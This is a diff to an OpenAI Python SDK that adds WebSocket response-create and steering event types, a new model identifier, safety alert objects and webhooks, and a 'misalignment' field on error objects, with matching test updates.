"""The moderation policy for the response output."""
mode: Literal["score", "block"]
-class ModerationPolicy(BaseModel):
+class ResponseCreateModerationPolicy(BaseModel):
"""The policy to apply to moderated response input and output."""
- input: Optional[ModerationPolicyInput] = None
+ input: Optional[ResponseCreateModerationPolicyInput] = None
"""The moderation policy for the response input."""
- output: Optional[ModerationPolicyOutput] = None
+ output: Optional[ResponseCreateModerationPolicyOutput] = None
"""The moderation policy for the response output."""
-class Moderation(BaseModel):
+class ResponseCreateModeration(BaseModel):
"""Configuration for running moderation on the input and output of this response."""
model: str
@@ -80,11 +98,11 @@ class Moderation(BaseModel):
'omni-moderation-latest'.
"""
- policy: Optional[ModerationPolicy] = None
+ policy: Optional[ResponseCreateModerationPolicy] = None
"""The policy to apply to moderated response input and output."""
-class PromptCacheOptions(BaseModel):
+class ResponseCreatePromptCacheOptions(BaseModel):
"""Options for prompt caching.
Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
@@ -108,7 +126,7 @@ class PromptCacheOptions(BaseModel):
"""
-class StreamOptions(BaseModel):
+class ResponseCreateStreamOptions(BaseModel):
"""Options for streaming responses. Only set this when you set `stream: true`."""
include_obfuscation: Optional[bool] = None
@@ -123,25 +141,36 @@ class StreamOptions(BaseModel):
"""
-class ToolChoiceSpecificProgrammaticToolCallingParam(BaseModel):
+class ResponseCreateToolChoiceSpecificProgrammaticToolCallingParam(BaseModel):
type: Literal["programmatic_tool_calling"]
"""The tool to call. Always `programmatic_tool_calling`."""
-ToolChoice: TypeAlias = Union[
+ResponseCreateToolChoice: TypeAlias = Union[
ToolChoiceOptions,
ToolChoiceAllowed,
ToolChoiceTypes,
ToolChoiceFunction,
ToolChoiceMcp,
ToolChoiceCustom,
- ToolChoiceSpecificProgrammaticToolCallingParam,
+ ResponseCreateToolChoiceSpecificProgrammaticToolCallingParam,
ToolChoiceApplyPatch,
ToolChoiceShell,
]
-class ResponsesClientEvent(BaseModel):
+class ResponseCreate(BaseModel):
+ """
+ Client event for creating a response over a persistent WebSocket connection.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
+
+ Notes:
+ - `stream` is implicit over WebSocket and should not be sent.
+ - `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
+ """
+
type: Literal["response.create"]
"""The type of the client event. Always `response.create`."""
@@ -151,10 +180,10 @@ class ResponsesClientEvent(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/background).
"""
- context_management: Optional[List[ContextManagement]] = None
+ context_management: Optional[List[ResponseCreateContextManagement]] = None
"""Context management configuration for this request."""
- conversation: Optional[Conversation] = None
+ conversation: Optional[ResponseCreateConversation] = None
"""The conversation that this response belongs to.
Items from this conversation are prepended to `input_items` for this response
@@ -230,7 +259,7 @@ class ResponsesClientEvent(BaseModel):
"""
model: Optional[ResponsesModel] = None
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -238,7 +267,7 @@ class ResponsesClientEvent(BaseModel):
available models.
"""
- moderation: Optional[Moderation] = None
+ moderation: Optional[ResponseCreateModeration] = None
"""Configuration for running moderation on the input and output of this response."""
parallel_tool_calls: Optional[bool] = None
@@ -265,7 +294,7 @@ class ResponsesClientEvent(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/prompt-caching).
"""
- prompt_cache_options: Optional[PromptCacheOptions] = None
+ prompt_cache_options: Optional[ResponseCreatePromptCacheOptions] = None
"""Options for prompt caching.
Supported for `gpt-5.6` and later models. By default, OpenAI automatically
@@ -365,7 +394,7 @@ class ResponsesClientEvent(BaseModel):
lineage, so a new lane can fork from a response created on another lane.
"""
- stream_options: Optional[StreamOptions] = None
+ stream_options: Optional[ResponseCreateStreamOptions] = None
"""Options for streaming responses. Only set this when you set `stream: true`."""
temperature: Optional[float] = None
@@ -385,7 +414,7 @@ class ResponsesClientEvent(BaseModel):
- [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
"""
- tool_choice: Optional[ToolChoice] = None
+ tool_choice: Optional[ResponseCreateToolChoice] = None
"""
How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -449,3 +478,23 @@ class ResponsesClientEvent(BaseModel):
similar requests and to help OpenAI detect and prevent abuse.
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
+
+
+ResponsesClientEvent: TypeAlias = Annotated[
+ Union[ResponseCreate, ResponseSteerEvent], PropertyInfo(discriminator="type")
+]
+
+
+# custom code for back compat aliases
+# Preserve the names exposed before ResponsesClientEvent became a union.
+ContextManagement: TypeAlias = ResponseCreateContextManagement
+Conversation: TypeAlias = ResponseCreateConversation
+Moderation: TypeAlias = ResponseCreateModeration
+ModerationPolicy: TypeAlias = ResponseCreateModerationPolicy
+ModerationPolicyInput: TypeAlias = ResponseCreateModerationPolicyInput
+ModerationPolicyOutput: TypeAlias = ResponseCreateModerationPolicyOutput
+PromptCacheOptions: TypeAlias = ResponseCreatePromptCacheOptions
+StreamOptions: TypeAlias = ResponseCreateStreamOptions
+ToolChoice: TypeAlias = ResponseCreateToolChoice
+ToolChoiceSpecificProgrammaticToolCallingParam: TypeAlias = ResponseCreateToolChoiceSpecificProgrammaticToolCallingParam
+# end custom code for back compat aliases
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index 14a3ce8eff..46f6394894 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -18,6 +18,7 @@
from ..shared_params.reasoning import Reasoning
from .tool_choice_custom_param import ToolChoiceCustomParam
from .tool_choice_allowed_param import ToolChoiceAllowedParam
+from .response_steer_event_param import ResponseSteerEventParam
from .response_text_config_param import ResponseTextConfigParam
from .tool_choice_function_param import ToolChoiceFunctionParam
from .tool_choice_apply_patch_param import ToolChoiceApplyPatchParam
@@ -26,6 +27,21 @@
__all__ = [
"ResponsesClientEventParam",
+ "ResponseCreate",
+ "ResponseCreateContextManagement",
+ "ResponseCreateConversation",
+ "ResponseCreateModeration",
+ "ResponseCreateModerationPolicy",
+ "ResponseCreateModerationPolicyInput",
+ "ResponseCreateModerationPolicyOutput",
+ "ResponseCreatePromptCacheOptions",
+ "ResponseCreateStreamOptions",
+ "ResponseCreateToolChoice",
+ "ResponseCreateToolChoiceSpecificProgrammaticToolCallingParam",
+]
+
+# custom code for back compat exports
+__all__ += [
"ContextManagement",
"Conversation",
"Moderation",
@@ -37,9 +53,10 @@
"ToolChoice",
"ToolChoiceSpecificProgrammaticToolCallingParam",
]
+# end custom code for back compat exports
-class ContextManagement(TypedDict, total=False):
+class ResponseCreateContextManagement(TypedDict, total=False):
type: Required[str]
"""The context management entry type. Currently only 'compaction' is supported."""
@@ -47,32 +64,32 @@ class ContextManagement(TypedDict, total=False):
"""Token threshold at which compaction should be triggered for this entry."""
-Conversation: TypeAlias = Union[str, ResponseConversationParamParam]
+ResponseCreateConversation: TypeAlias = Union[str, ResponseConversationParamParam]
-class ModerationPolicyInput(TypedDict, total=False):
+class ResponseCreateModerationPolicyInput(TypedDict, total=False):
"""The moderation policy for the response input."""
mode: Required[Literal["score", "block"]]
-class ModerationPolicyOutput(TypedDict, total=False):
+class ResponseCreateModerationPolicyOutput(TypedDict, total=False):
"""The moderation policy for the response output."""
mode: Required[Literal["score", "block"]]
-class ModerationPolicy(TypedDict, total=False):
+class ResponseCreateModerationPolicy(TypedDict, total=False):
"""The policy to apply to moderated response input and output."""
- input: Optional[ModerationPolicyInput]
+ input: Optional[ResponseCreateModerationPolicyInput]
"""The moderation policy for the response input."""
- output: Optional[ModerationPolicyOutput]
+ output: Optional[ResponseCreateModerationPolicyOutput]
"""The moderation policy for the response output."""
-class Moderation(TypedDict, total=False):
+class ResponseCreateModeration(TypedDict, total=False):
"""Configuration for running moderation on the input and output of this response."""
model: Required[str]
@@ -81,11 +98,11 @@ class Moderation(TypedDict, total=False):
'omni-moderation-latest'.
"""
- policy: Optional[ModerationPolicy]
+ policy: Optional[ResponseCreateModerationPolicy]
"""The policy to apply to moderated response input and output."""
-class PromptCacheOptions(TypedDict, total=False):
+class ResponseCreatePromptCacheOptions(TypedDict, total=False):
"""Options for prompt caching.
Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
@@ -109,7 +126,7 @@ class PromptCacheOptions(TypedDict, total=False):
"""
-class StreamOptions(TypedDict, total=False):
+class ResponseCreateStreamOptions(TypedDict, total=False):
"""Options for streaming responses. Only set this when you set `stream: true`."""
include_obfuscation: bool
@@ -124,25 +141,36 @@ class StreamOptions(TypedDict, total=False):
"""
-class ToolChoiceSpecificProgrammaticToolCallingParam(TypedDict, total=False):
+class ResponseCreateToolChoiceSpecificProgrammaticToolCallingParam(TypedDict, total=False):
type: Required[Literal["programmatic_tool_calling"]]
"""The tool to call. Always `programmatic_tool_calling`."""
-ToolChoice: TypeAlias = Union[
+ResponseCreateToolChoice: TypeAlias = Union[
ToolChoiceOptions,
ToolChoiceAllowedParam,
ToolChoiceTypesParam,
ToolChoiceFunctionParam,
ToolChoiceMcpParam,
ToolChoiceCustomParam,
- ToolChoiceSpecificProgrammaticToolCallingParam,
+ ResponseCreateToolChoiceSpecificProgrammaticToolCallingParam,
ToolChoiceApplyPatchParam,
ToolChoiceShellParam,
]
-class ResponsesClientEventParam(TypedDict, total=False):
+class ResponseCreate(TypedDict, total=False):
+ """
+ Client event for creating a response over a persistent WebSocket connection.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
+
+ Notes:
+ - `stream` is implicit over WebSocket and should not be sent.
+ - `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
+ """
+
type: Required[Literal["response.create"]]
"""The type of the client event. Always `response.create`."""
@@ -152,10 +180,10 @@ class ResponsesClientEventParam(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/background).
"""
- context_management: Optional[Iterable[ContextManagement]]
+ context_management: Optional[Iterable[ResponseCreateContextManagement]]
"""Context management configuration for this request."""
- conversation: Optional[Conversation]
+ conversation: Optional[ResponseCreateConversation]
"""The conversation that this response belongs to.
Items from this conversation are prepended to `input_items` for this response
@@ -231,7 +259,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
"""
model: ResponsesModel
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
@@ -239,7 +267,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
available models.
"""
- moderation: Optional[Moderation]
+ moderation: Optional[ResponseCreateModeration]
"""Configuration for running moderation on the input and output of this response."""
parallel_tool_calls: Optional[bool]
@@ -266,7 +294,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/prompt-caching).
"""
- prompt_cache_options: PromptCacheOptions
+ prompt_cache_options: ResponseCreatePromptCacheOptions
"""Options for prompt caching.
Supported for `gpt-5.6` and later models. By default, OpenAI automatically
@@ -366,7 +394,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
lineage, so a new lane can fork from a response created on another lane.
"""
- stream_options: Optional[StreamOptions]
+ stream_options: Optional[ResponseCreateStreamOptions]
"""Options for streaming responses. Only set this when you set `stream: true`."""
temperature: Optional[float]
@@ -386,7 +414,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
- [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
"""
- tool_choice: ToolChoice
+ tool_choice: ResponseCreateToolChoice
"""
How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -450,3 +478,21 @@ class ResponsesClientEventParam(TypedDict, total=False):
similar requests and to help OpenAI detect and prevent abuse.
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
+
+
+ResponsesClientEventParam: TypeAlias = Union[ResponseCreate, ResponseSteerEventParam]
+
+
+# custom code for back compat aliases
+# Preserve the names exposed before ResponsesClientEvent became a union.
+ContextManagement: TypeAlias = ResponseCreateContextManagement
+Conversation: TypeAlias = ResponseCreateConversation
+Moderation: TypeAlias = ResponseCreateModeration
+ModerationPolicy: TypeAlias = ResponseCreateModerationPolicy
+ModerationPolicyInput: TypeAlias = ResponseCreateModerationPolicyInput
+ModerationPolicyOutput: TypeAlias = ResponseCreateModerationPolicyOutput
+PromptCacheOptions: TypeAlias = ResponseCreatePromptCacheOptions
+StreamOptions: TypeAlias = ResponseCreateStreamOptions
+ToolChoice: TypeAlias = ResponseCreateToolChoice
+ToolChoiceSpecificProgrammaticToolCallingParam: TypeAlias = ResponseCreateToolChoiceSpecificProgrammaticToolCallingParam
+# end custom code for back compat aliases
diff --git a/src/openai/types/responses/responses_server_event.py b/src/openai/types/responses/responses_server_event.py
index 56663753d5..516e45e73b 100644
--- a/src/openai/types/responses/responses_server_event.py
+++ b/src/openai/types/responses/responses_server_event.py
@@ -16,7 +16,10 @@
from .response_audio_delta_event import ResponseAudioDeltaEvent
from .response_in_progress_event import ResponseInProgressEvent
from .response_refusal_done_event import ResponseRefusalDoneEvent
+from .response_steer_failed_event import ResponseSteerFailedEvent
from .response_refusal_delta_event import ResponseRefusalDeltaEvent
+from .response_steer_pending_event import ResponseSteerPendingEvent
+from .response_steer_accepted_event import ResponseSteerAcceptedEvent
from .response_mcp_call_failed_event import ResponseMcpCallFailedEvent
from .response_output_item_done_event import ResponseOutputItemDoneEvent
from .response_content_part_done_event import ResponseContentPartDoneEvent
@@ -124,6 +127,8 @@
"ResponseCustomToolCallInputWsDone",
"ResponseWsError",
"ResponseWsErrorError",
+ "ResponseWsErrorErrorMisalignment",
+ "ResponseWsErrorErrorMisalignmentSteer",
]
@@ -403,7 +408,12 @@ class ResponseWsFailed(ResponseFailedEvent):
class ResponseWsIncomplete(ResponseIncompleteEvent):
- """An event that is emitted when a response finishes as incomplete."""
+ """An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
+ """
stream_id: Optional[str] = None
"""The WebSocket lane that emitted this event.
@@ -762,6 +772,33 @@ class ResponseCustomToolCallInputWsDone(ResponseCustomToolCallInputDoneEvent):
"""
+class ResponseWsErrorErrorMisalignmentSteer(BaseModel):
+ """An optional public continuation instruction."""
+
+ message: str
+ """The public continuation instruction."""
+
+
+class ResponseWsErrorErrorMisalignment(BaseModel):
+ detailed_explanation: Optional[str] = None
+ """The public explanation for this block."""
+
+ error_type: Union[
+ str,
+ Literal[
+ "potentially_unintended_data_transfer",
+ "potentially_unintended_data_access",
+ "potentially_unintended_destructive_activity",
+ "other",
+ ],
+ None,
+ ] = None
+ """An optional classification; clients must accept additional values."""
+
+ steer: Optional[ResponseWsErrorErrorMisalignmentSteer] = None
+ """An optional public continuation instruction."""
+
+
class ResponseWsErrorError(BaseModel):
"""Details about the error."""
@@ -780,6 +817,8 @@ class ResponseWsErrorError(BaseModel):
headers: Optional[Dict[str, str]] = None
"""The response headers that were emitted with the error, if any."""
+ misalignment: Optional[ResponseWsErrorErrorMisalignment] = None
+
class ResponseWsError(BaseModel):
"""Emitted when an error occurs while processing a Responses WebSocket request."""
@@ -864,6 +903,9 @@ class ResponseWsError(BaseModel):
ResponseCustomToolCallInputWsDelta,
ResponseCustomToolCallInputWsDone,
ResponseWsError,
+ ResponseSteerAcceptedEvent,
+ ResponseSteerPendingEvent,
+ ResponseSteerFailedEvent,
],
PropertyInfo(discriminator="type"),
]
diff --git a/src/openai/types/safety/__init__.py b/src/openai/types/safety/__init__.py
new file mode 100644
index 0000000000..00f62d53d2
--- /dev/null
+++ b/src/openai/types/safety/__init__.py
@@ -0,0 +1,5 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .safety_alert import SafetyAlert as SafetyAlert
diff --git a/src/openai/types/safety/safety_alert.py b/src/openai/types/safety/safety_alert.py
new file mode 100644
index 0000000000..a86f4ae1f5
--- /dev/null
+++ b/src/openai/types/safety/safety_alert.py
@@ -0,0 +1,41 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SafetyAlert"]
+
+
+class SafetyAlert(BaseModel):
+ id: str
+
+ created_at: int
+
+ error_type: Literal[
+ "potentially_unintended_data_transfer",
+ "potentially_unintended_data_access",
+ "potentially_unintended_destructive_activity",
+ "other",
+ ]
+
+ model: str
+
+ object: Literal["safety.alert"]
+
+ reason: Optional[str] = None
+ """
+ A customer-safe description derived from error_type, or null for zero data
+ retention requests.
+ """
+
+ request_id: str
+
+ request_paused: bool
+ """Whether block registration succeeded for this request.
+
+ This does not confirm that response execution stopped.
+ """
+
+ response_id: str
diff --git a/src/openai/types/shared/chat_model.py b/src/openai/types/shared/chat_model.py
index 75fa64b597..8d89867993 100644
--- a/src/openai/types/shared/chat_model.py
+++ b/src/openai/types/shared/chat_model.py
@@ -5,6 +5,7 @@
__all__ = ["ChatModel"]
ChatModel: TypeAlias = Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/shared/error_object.py b/src/openai/types/shared/error_object.py
index 47627c0156..7aa1920d6b 100644
--- a/src/openai/types/shared/error_object.py
+++ b/src/openai/types/shared/error_object.py
@@ -1,10 +1,38 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Optional
+from typing import Union, Optional
+from typing_extensions import Literal
from ..._models import BaseModel
-__all__ = ["ErrorObject"]
+__all__ = ["ErrorObject", "Misalignment", "MisalignmentSteer"]
+
+
+class MisalignmentSteer(BaseModel):
+ """An optional public continuation instruction."""
+
+ message: str
+ """The public continuation instruction."""
+
+
+class Misalignment(BaseModel):
+ detailed_explanation: Optional[str] = None
+ """The public explanation for this block."""
+
+ error_type: Union[
+ str,
+ Literal[
+ "potentially_unintended_data_transfer",
+ "potentially_unintended_data_access",
+ "potentially_unintended_destructive_activity",
+ "other",
+ ],
+ None,
+ ] = None
+ """An optional classification; clients must accept additional values."""
+
+ steer: Optional[MisalignmentSteer] = None
+ """An optional public continuation instruction."""
class ErrorObject(BaseModel):
@@ -15,3 +43,5 @@ class ErrorObject(BaseModel):
param: Optional[str] = None
type: str
+
+ misalignment: Optional[Misalignment] = None
diff --git a/src/openai/types/shared_params/chat_model.py b/src/openai/types/shared_params/chat_model.py
index 4dba345a1d..6a36b305ae 100644
--- a/src/openai/types/shared_params/chat_model.py
+++ b/src/openai/types/shared_params/chat_model.py
@@ -7,6 +7,7 @@
__all__ = ["ChatModel"]
ChatModel: TypeAlias = Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/types/video_create_error.py b/src/openai/types/video_create_error.py
index beba56f63c..96c5e44025 100644
--- a/src/openai/types/video_create_error.py
+++ b/src/openai/types/video_create_error.py
@@ -1,8 +1,38 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Union, Optional
+from typing_extensions import Literal
+
from .._models import BaseModel
-__all__ = ["VideoCreateError"]
+__all__ = ["VideoCreateError", "Misalignment", "MisalignmentSteer"]
+
+
+class MisalignmentSteer(BaseModel):
+ """An optional public continuation instruction."""
+
+ message: str
+ """The public continuation instruction."""
+
+
+class Misalignment(BaseModel):
+ detailed_explanation: Optional[str] = None
+ """The public explanation for this block."""
+
+ error_type: Union[
+ str,
+ Literal[
+ "potentially_unintended_data_transfer",
+ "potentially_unintended_data_access",
+ "potentially_unintended_destructive_activity",
+ "other",
+ ],
+ None,
+ ] = None
+ """An optional classification; clients must accept additional values."""
+
+ steer: Optional[MisalignmentSteer] = None
+ """An optional public continuation instruction."""
class VideoCreateError(BaseModel):
@@ -13,3 +43,5 @@ class VideoCreateError(BaseModel):
message: str
"""A human-readable description of the error that was returned."""
+
+ misalignment: Optional[Misalignment] = None
diff --git a/src/openai/types/webhooks/__init__.py b/src/openai/types/webhooks/__init__.py
index d83daf3d50..015621e8d4 100644
--- a/src/openai/types/webhooks/__init__.py
+++ b/src/openai/types/webhooks/__init__.py
@@ -15,8 +15,12 @@
from .response_cancelled_webhook_event import ResponseCancelledWebhookEvent as ResponseCancelledWebhookEvent
from .response_completed_webhook_event import ResponseCompletedWebhookEvent as ResponseCompletedWebhookEvent
from .response_incomplete_webhook_event import ResponseIncompleteWebhookEvent as ResponseIncompleteWebhookEvent
+from .safety_alert_created_webhook_event import SafetyAlertCreatedWebhookEvent as SafetyAlertCreatedWebhookEvent
from .fine_tuning_job_failed_webhook_event import FineTuningJobFailedWebhookEvent as FineTuningJobFailedWebhookEvent
from .realtime_call_incoming_webhook_event import RealtimeCallIncomingWebhookEvent as RealtimeCallIncomingWebhookEvent
+from .safety_org_alert_created_webhook_event import (
+ SafetyOrgAlertCreatedWebhookEvent as SafetyOrgAlertCreatedWebhookEvent,
+)
from .fine_tuning_job_cancelled_webhook_event import (
FineTuningJobCancelledWebhookEvent as FineTuningJobCancelledWebhookEvent,
)
diff --git a/src/openai/types/webhooks/safety_alert_created_webhook_event.py b/src/openai/types/webhooks/safety_alert_created_webhook_event.py
new file mode 100644
index 0000000000..0898b935db
--- /dev/null
+++ b/src/openai/types/webhooks/safety_alert_created_webhook_event.py
@@ -0,0 +1,30 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SafetyAlertCreatedWebhookEvent", "Data"]
+
+
+class Data(BaseModel):
+ id: str
+ """The safety alert ID to pass to `GET /v1/safety/alerts/{id}`."""
+
+
+class SafetyAlertCreatedWebhookEvent(BaseModel):
+ """Sent when an approved safety alert is available for an API project."""
+
+ id: str
+ """The unique ID of the webhook event."""
+
+ created_at: int
+ """The Unix timestamp in seconds when the event was created."""
+
+ data: Data
+
+ object: Literal["event"]
+ """Always `event`."""
+
+ type: Literal["safety.alert.created"]
+ """Always `safety.alert.created`."""
diff --git a/src/openai/types/webhooks/safety_org_alert_created_webhook_event.py b/src/openai/types/webhooks/safety_org_alert_created_webhook_event.py
new file mode 100644
index 0000000000..43ce274911
--- /dev/null
+++ b/src/openai/types/webhooks/safety_org_alert_created_webhook_event.py
@@ -0,0 +1,30 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SafetyOrgAlertCreatedWebhookEvent", "Data"]
+
+
+class Data(BaseModel):
+ id: str
+ """The safety alert ID to pass to `GET /v1/safety/alerts/{id}`."""
+
+
+class SafetyOrgAlertCreatedWebhookEvent(BaseModel):
+ """Sent when an approved safety alert is available for an enterprise workspace."""
+
+ id: str
+ """The unique ID of the webhook event."""
+
+ created_at: int
+ """The Unix timestamp in seconds when the event was created."""
+
+ data: Data
+
+ object: Literal["event"]
+ """Always `event`."""
+
+ type: Literal["safety.org_alert.created"]
+ """Always `safety.org_alert.created`."""
diff --git a/src/openai/types/webhooks/unwrap_webhook_event.py b/src/openai/types/webhooks/unwrap_webhook_event.py
index 4cd9bac05b..56e49b8de9 100644
--- a/src/openai/types/webhooks/unwrap_webhook_event.py
+++ b/src/openai/types/webhooks/unwrap_webhook_event.py
@@ -16,8 +16,10 @@
from .response_cancelled_webhook_event import ResponseCancelledWebhookEvent
from .response_completed_webhook_event import ResponseCompletedWebhookEvent
from .response_incomplete_webhook_event import ResponseIncompleteWebhookEvent
+from .safety_alert_created_webhook_event import SafetyAlertCreatedWebhookEvent
from .fine_tuning_job_failed_webhook_event import FineTuningJobFailedWebhookEvent
from .realtime_call_incoming_webhook_event import RealtimeCallIncomingWebhookEvent
+from .safety_org_alert_created_webhook_event import SafetyOrgAlertCreatedWebhookEvent
from .fine_tuning_job_cancelled_webhook_event import FineTuningJobCancelledWebhookEvent
from .fine_tuning_job_succeeded_webhook_event import FineTuningJobSucceededWebhookEvent
@@ -41,6 +43,8 @@
ResponseCompletedWebhookEvent,
ResponseFailedWebhookEvent,
ResponseIncompleteWebhookEvent,
+ SafetyAlertCreatedWebhookEvent,
+ SafetyOrgAlertCreatedWebhookEvent,
],
PropertyInfo(discriminator="type"),
]
diff --git a/tests/api_resources/beta/responses/test_input_tokens.py b/tests/api_resources/beta/responses/test_input_tokens.py
index 6140cc2cf2..1e54a65051 100644
--- a/tests/api_resources/beta/responses/test_input_tokens.py
+++ b/tests/api_resources/beta/responses/test_input_tokens.py
@@ -51,6 +51,7 @@ def test_method_count_with_all_params(self, client: OpenAI) -> None:
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -121,6 +122,7 @@ async def test_method_count_with_all_params(self, async_client: AsyncOpenAI) ->
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
diff --git a/tests/api_resources/beta/test_responses.py b/tests/api_resources/beta/test_responses.py
index 938b76d3a9..5488ffef3a 100644
--- a/tests/api_resources/beta/test_responses.py
+++ b/tests/api_resources/beta/test_responses.py
@@ -42,7 +42,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
moderation={
"model": "model",
"policy": {
@@ -92,6 +92,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -150,7 +151,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
moderation={
"model": "model",
"policy": {
@@ -199,6 +200,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -433,14 +435,14 @@ def test_path_params_cancel(self, client: OpenAI) -> None:
@parametrize
def test_method_compact(self, client: OpenAI) -> None:
response = client.beta.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert_matches_type(BetaCompactedResponse, response, path=["response"])
@parametrize
def test_method_compact_with_all_params(self, client: OpenAI) -> None:
response = client.beta.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="string",
instructions="instructions",
previous_response_id="resp_123",
@@ -458,7 +460,7 @@ def test_method_compact_with_all_params(self, client: OpenAI) -> None:
@parametrize
def test_raw_response_compact(self, client: OpenAI) -> None:
http_response = client.beta.responses.with_raw_response.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert http_response.is_closed is True
@@ -469,7 +471,7 @@ def test_raw_response_compact(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_compact(self, client: OpenAI) -> None:
with client.beta.responses.with_streaming_response.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
) as http_response:
assert not http_response.is_closed
assert http_response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -507,7 +509,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
moderation={
"model": "model",
"policy": {
@@ -557,6 +559,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -615,7 +618,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
moderation={
"model": "model",
"policy": {
@@ -664,6 +667,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -898,14 +902,14 @@ async def test_path_params_cancel(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_method_compact(self, async_client: AsyncOpenAI) -> None:
response = await async_client.beta.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert_matches_type(BetaCompactedResponse, response, path=["response"])
@parametrize
